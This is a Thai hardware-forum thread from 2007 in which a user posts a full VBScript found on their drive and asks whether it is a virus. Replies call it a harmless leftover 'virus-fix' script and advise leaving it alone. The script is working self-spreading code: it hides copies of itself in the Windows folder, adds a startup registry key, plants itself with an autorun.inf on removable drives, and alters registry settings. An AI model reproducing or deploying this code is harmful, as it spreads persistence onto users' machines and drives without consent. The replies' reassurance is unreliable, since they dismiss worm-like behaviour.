overclockzonefanpage  overclockzoneth  TV  RSS  


Results 1 to 4 of 4

Thread: ไวรัสไรหว่า ช่วยทีคับ

  1. #1
    OverclockZone Member นายบุ๊ง's Avatar
    Join Date
    2 May 2007

    Default ไวรัสไรหว่า ช่วยทีคับ

    ลองดูตามรูปนะคับ
    ใช้โปรแกรม Scan ดูแล้วก็ไม่เจอ



    'My name is slow but sure v 1.00 (Kill MS32DLL.DLL.vbs)
    On Error Resume Next
    Dim a,b,c,d,e,f,mf,r,t,I,J,K
    Set a=CreateObject("scripting.filesystemobject")
    Set b=CreateObject("Wscript.shell")
    set mf = a.getfile(Wscript.ScriptFullname)
    Set f=a.GetSpecialFolder(0)
    dim text,size
    size = mf.size
    check = mf.drive.DriveType
    set I=mf.OpenAsTextStream(1,-2)
    do while not I.atendofstream
    J=J & I.readline
    J=J & vbcrlf
    Loop
    Set c=a.Drives
    Do
    If Not a.FileExists(f & "\killgodzilla.vbs") then
    set K=a.createtextfile(f & "\killgodzilla.vbs",2,true)
    K.write J
    K.close
    set K = a.getfile(f & "\killgodzilla.vbs")
    K.attributes = -1
    End If
    b.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\KILLMS32DLL",f& "\killgodzilla.vbs"
    For Each d In c
    If d.DriveType=1 Or d.DriveType=2 Then
    If d.Path<> "A:" Then
    b.Regdelete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL"
    b.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title",""
    b.regwrite "HKCR\vbsfile\DefaultIcon","%SystemRoot%\System32\WScript.exe,2"
    If a.FileExists(f & "\MS32DLL.dll.vbs") Then
    Set e=a.DeleteFile(f & "\MS32DLL.dll.vbs")
    End If
    If a.FileExists(d.Path & "\MS32DLL.dll.vbs") Then
    Set e=a.DeleteFile(d.Path & "\MS32DLL.dll.vbs")
    End If
    If d.DriveType=1 Then
    If d.Path<>"A:" Then
    If Not a.FileExists(d.Path & "\killgodzilla.vbs") then
    Set K=a.CreateTextFile(d.Path & "\killgodzilla.vbs",2,True)
    K.Write J
    K.Close
    Set K=a.CreateTextFile(d.Path & "\autorun.inf",2,True)
    K.writeline "[autorun]"
    K.WriteLine "shellexecute=wscript.exe killgodzilla.vbs"
    K.Close
    Set K=a.GetFile(d.Path & "\killgodzilla.vbs")
    K.Attributes = -1
    Set K=a.GetFile(d.Path & "\autorun.inf")
    K.Attributes = -1
    End if
    End If
    End if
    End if
    End If
    Next
    if check <> 1 then
    Wscript.sleep 2000
    end if
    loop while check<>1

  2. #2
    OverclockZone Member chichiol6's Avatar
    Join Date
    13 Jun 2007

    Default

    อ้อไดร์ของคุณเคยติดไวรัส ที่ชื่อว่าHack by Godzilla อ่ะครับแล้วคุณอาจจะกำจัดไวรัสตัวนี้ไปแล้วโดยโปรแกรมหรือตัวแก้ไวรัส โปรแกรมเลยเขียนสริปไว้ที่ไดร์ของคุณ


    ปล่อยมันไว้แบบนั้นแหละครับ ไม่ใช่ไวรัสหรอก แค่เป็นสคริปของตัวแก้ไวรัส

  3. #3
    OverclockZone Member dordeg's Avatar
    Join Date
    14 Dec 2006
    Location
    กรุงเทพฯ

    Default เอานี่ไปแก้นะ

    เอานี่ไปแก้
    Last edited by dordeg; 18 Oct 2007 at 12:32:29.

  4. #4
    OverclockZone Member BackMay's Avatar
    Join Date
    2 Sep 2007
    Location
    เด็กแม่สาย

    Default

    ดูว่ามันมีปัญหาเกิดปล่าว มันทำให้เครื่องของเราผิดปรกติตรงไหนบ้างถ้ามันไม่มีไรก็ปล่อยไว้



Bookmarks

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •